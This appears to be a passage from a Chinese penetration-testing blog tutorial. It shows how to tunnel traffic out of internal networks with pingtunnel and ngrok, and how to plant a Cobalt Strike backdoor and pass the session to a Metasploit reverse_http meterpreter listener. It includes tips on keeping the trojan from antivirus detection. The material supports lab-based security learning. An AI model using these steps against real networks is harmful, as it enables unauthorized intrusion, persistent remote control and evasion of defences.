(有成功的师傅可以留言给我看下是什么问题,学习学习~)
在这里插入图片描述

命令执行

这里尝试转发内网的3389端口流量出来即可,其他端口类似,这里不管是服务端还是客户端,在哪个系统运行都是一样的参数,只不过我这里服务端在windows上运行接收不到客户端发来的请求,依赖也安装了具体原因没找到,还是失败,所以只能用linux来做服务端。
(有师傅成功了可以留言告知一声~)
server

./pingtunnel -type server

client

socks类型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 1
tcp类型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
udp类型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455

这里解释一下客户端命令的格式:

  • -type
    :代表是客户端类型运行的
  • -l
    :前面省略了客户端的ip则表示本地ip,表示本地回环地址,然后:后面接端口号,需要使用127.0.0.1进行连接,而如果你指定客户端的ip就需要用本机ip来进行连接
    (这里应该是还可以转发到其他ip上进行进一步利用的,这里没有尝试,有师傅尝试成功可以评论区留言教一下我。)
  • -s
    代表
    服务端
    的域名或者ip
  • -t
    代表
    服务端内网某一个机器的ip与要转发出来的端口号流量

实验

实验这里转tcp流量出来,如果你要转socks的话记得配合其它工具进行转换,比如linux用proxychains,windows用proxifier或其他等等工具,具体情况具体分析。
服务端
在这里插入图片描述

客户端
在这里插入图片描述

成功转出内网server2003的3389流量
在这里插入图片描述

ngrok

这个ngrok是解决局域网的流量无法像公网那样能访问,但是这个内网机器需要本身能够出网的才行,相当于你在家里面的局域网流量不是每一个人都能访问得到,假如你搭建了一台机器但是想让其他地区人也能访问到不用买公网ip,这样的话ngrok是不错的选择。
在内网渗透中用来解决内网机器流量无法直接访问这类问题也是一种手段。

这里随便找一台机器即可,这个机器需能访问外网,但外网无法直接访问他
windows: 192.168.29.130

命令执行&&实验

1.先去官网注册一个账号:
https://dashboard.ngrok.com/
2.登录进去后,接着进入后下载对应系统版本的ngrok到目标机器上
3.把ngrok程序运行起来,如下图所示
在这里插入图片描述
运行图片
在这里插入图片描述
我这里将80端口映射出来
在这里插入图片描述
如果没有看到绿色建立成功的话,运行这条命令:
ngrok http 80
。因为可能你不是第一次弄,就需要这条命令,成功后你会看到如下图所示的映射网址,直接访问这个就行。
在这里插入图片描述
访问网址后可能会是下图这个样子
在这里插入图片描述
你点击visit后就看到你映射出来的站点了,或者你映射的是其他流量就用其他方式直接链接这个地址即可。
下图可以看到我访问成功了内网中搭建的网站
在这里插入图片描述

ps:本人尝试将3389端口流量映射出来当远程链接,发现失败了,具体原因没找到,但测试后发现貌似只有将http这种网站映射出来效果最佳,所以要希望映射其他流量的话还是找其他工具进行实现最好。

cs

这里很简单,就是把木马丢到目标服务器上将shell转过来即可,进行内网渗透最好还是在cs上线后将权限转到msf上进行后渗透操作效果最佳。

命令执行

提前说明:服务端选择linux,客户端选择windows,你也可以自行选择不同搭配,服务端和客户端都有提供两种选择,我个人比较常用这种搭配。
服务端

安装jdk,建议安装jdk8(安装方法自行百度)

./teamserver 服务端ip 连接密码

客户端

安装jdk,建议安装jdk8(安装方法自行百度)
./cs.bat

ps: teamserver也有提供windows的teamserver.bat运行,同样cs也有提供cs.sh运行。

实验

服务端
在这里插入图片描述
客户端
windows双击cs.bat文件即可
在这里插入图片描述


1.接着客户端这边生成木马
首先创建监听器
在这里插入图片描述
如果没有其他代理需求就按照下面配置即可(更多用法自行去百度)
在这里插入图片描述

选择生成木马后门
在这里插入图片描述
在这里插入图片描述
将木马保存在一个免杀目录中,不要被杀软杀掉即可
2.将木马上传在目标服务器上执行即可,这里做实验就直接放虚拟机双击了
在这里插入图片描述
回到客户端看cs就发现有主机上线了,甚至能看到他的两张网卡,内外网ip
在这里插入图片描述
3.这里最好是和msf联动进行内网渗透效果最佳,所以这里我选择让cs增加一个会话转到msf中
先运行
msfconsole
开启msf,并创建监听器

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost (msf监听的ip)192.168.29.128
set lport (msf监听的端口)4444

在这里插入图片描述

4.接着添加监听器
在这里插入图片描述
在这里插入图片描述
5.右键增加会话
在这里插入图片描述
接着选择刚刚添加的msf监听器即可
在这里插入图片描述
msf已经拿到shell了,后续就是看你玩msf玩的溜不溜就完事了。
在这里插入图片描述


本文介绍内网搭建隧道代理的一些工具,拿到内网环境后就可以进行后渗透工作了
(当然要遵守网络安全法,在授权范围下进行)